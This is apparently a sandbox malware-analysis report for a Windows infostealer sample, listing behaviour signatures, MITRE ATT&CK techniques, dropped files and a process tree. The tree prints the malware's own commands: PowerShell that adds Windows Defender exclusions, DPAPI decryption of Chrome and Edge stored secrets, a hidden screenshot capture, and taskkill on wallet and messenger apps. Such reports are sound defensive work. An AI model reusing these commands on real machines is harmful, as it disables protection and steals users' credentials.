Overview

overview

10

Static

static

10

2026-08-03...la.exe

windows10-2004-x64

8

2026-08-03...la.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/08/2026, 08:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe
  • Size 127.1MB
  • Sample260803-kldryssaqa
  • SHA256 f9fc754d64a26acb4e057165953d21ddfbf44c059c7d59fdcafe3862be4e4fd7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Executes a command shell one-liner 1 TTPs 13 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 4 IoCs
    defense_evasion
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe"
    1⤵
    • Creates a file in the Startup directory
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:3628
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "net session"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2100
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:2472
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785746510829.vbs""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1116
        • C:\Windows\system32\cscript.exe
          cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785746510829.vbs"
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:1704
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1052
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -join '||'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5076
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -join '||'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4056
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAACOIUUzkIyUm9b4Se1MTvghAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAADt5MN/h6NISjqoCk8hlLDMLyYCmphJui0FoBUGLQousAAAAAA6AAAAAAgAAIAAAAN7/rRmAxOBhSDIVxge13DyLF55RHHEovz7G4zN2+2qeMAAAAC7rguPg/FiTSr8BfUYWMPMBeuUyZEQya0Js2MVfa64CLkU4pnuc02MBrXe4gQeaGkAAAABlknGYq5XmXbqJPjKMWApI96u6Atvh2NwitrKhYioQXk/VO6XO/4i1OX9+AVCtyIvkAGoSvzOvduuaNC754Kzn');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAACOIUUzkIyUm9b4Se1MTvghAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAADt5MN/h6NISjqoCk8hlLDMLyYCmphJui0FoBUGLQousAAAAAA6AAAAAAgAAIAAAAN7/rRmAxOBhSDIVxge13DyLF55RHHEovz7G4zN2+2qeMAAAAC7rguPg/FiTSr8BfUYWMPMBeuUyZEQya0Js2MVfa64CLkU4pnuc02MBrXe4gQeaGkAAAABlknGYq5XmXbqJPjKMWApI96u6Atvh2NwitrKhYioQXk/VO6XO/4i1OX9+AVCtyIvkAGoSvzOvduuaNC754Kzn');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1056
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAACOIUUzkIyUm9b4Se1MTvghAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAeLu97qOi14f428DoiWh+STcVyI6jiafv+RXveVeSohYAAAAADoAAAAACAAAgAAAAJ8B/ECBOh1z6LWGLWMJ2dnLSXLb9FXPELwzOV/bEA+UwAAAAfV16pizNjsXxxAVr4kNAmbcmg3pebVZ8xNNjJKR6Z91VtW88SmzNEJ1BOC57LKjqQAAAAPljYazxGUrPP6kxN7PVLwrnEkAcoe/rHlKX/rYD1APNXrNbyKBxE+JiC7hPR9g76xqbxcFdz4dM9YplCGsjZRM=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3720
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAACOIUUzkIyUm9b4Se1MTvghAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAeLu97qOi14f428DoiWh+STcVyI6jiafv+RXveVeSohYAAAAADoAAAAACAAAgAAAAJ8B/ECBOh1z6LWGLWMJ2dnLSXLb9FXPELwzOV/bEA+UwAAAAfV16pizNjsXxxAVr4kNAmbcmg3pebVZ8xNNjJKR6Z91VtW88SmzNEJ1BOC57LKjqQAAAAPljYazxGUrPP6kxN7PVLwrnEkAcoe/rHlKX/rYD1APNXrNbyKBxE+JiC7hPR9g76xqbxcFdz4dM9YplCGsjZRM=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1416
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4464
        • C:\Windows\system32\taskkill.exe
          taskkill /IM Steam.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3544
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4528
        • C:\Windows\system32\taskkill.exe
          taskkill /IM javaw.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4764
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2820
        • C:\Windows\system32\taskkill.exe
          taskkill /IM Exodus.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2400
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2368
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:5092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:888
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2376
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1176
        • C:\Windows\system32\tasklist.exe
          tasklist /FO CSV /NH
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3592
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4796
        • C:\Windows\system32\taskkill.exe
          taskkill /IM Telegram.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4780

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          3
          T1059

          PowerShell

          1
          T1059.001

          Visual Basic

          1
          T1059.005

          Windows Command Shell

          1
          T1059.003

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Defense Evasion

          Obfuscated Files or Information

          1
          T1027

          Command Obfuscation

          1
          T1027.010

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Process Discovery

          1
          T1057

          Query Registry

          1
          T1012

          System Information Discovery

          1
          T1082

          System Network Configuration Discovery

          1
          T1016

          Internet Connection Discovery

          1
          T1016.001

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          koffi.node
          • Path C:\Users\Admin\.cache\pkg\df0cfa4c41c97e25d503a1b98c21196bf37125a736999793f2ee1efd8ffb4fd9\koffi\build\koffi\win32_x64\koffi.node
          • Size 3.0MB
          • SHA256 df0cfa4c41c97e25d503a1b98c21196bf37125a736999793f2ee1efd8ffb4fd9
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 5f2b6782f01575ba7a1e68e3d46995679700b506293536afdb7b43cdd80628ed
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 692ec20c7039170fb199510f0436181fd155e6b4516d4d1c9e1675adf99aaa7f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 2736fafd559cf6240a3554db1f46d0a66dd6c305211337e6389b9dfa8c5ca21b
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 df5cd9c457bc4d928b69464da6a375e1290349fe163aa0da75549371b8646a81
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_xcprgab0.sz4.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xcprgab0.sz4.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system_check_1785746510829.vbs
          • Path C:\Users\Admin\AppData\Local\Temp\system_check_1785746510829.vbs
          • Size 212B
          • SHA256 2f0cd2d8348b62da9afad1b287cb876cdfacaef67a43ea59e4f64c626ea9956e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/1052-35-0x000001E8F65C0000-0x000001E8F65E2000-memory.dmp
          Download

          memory/1052-45-0x000001E8F8BC0000-0x000001E8F8D0E000-memory.dmp
          Download

          memory/1056-64-0x000001F8C26B0000-0x000001F8C2700000-memory.dmp
          Download

          memory/2376-84-0x000002251E650000-0x000002251E86C000-memory.dmp
          Download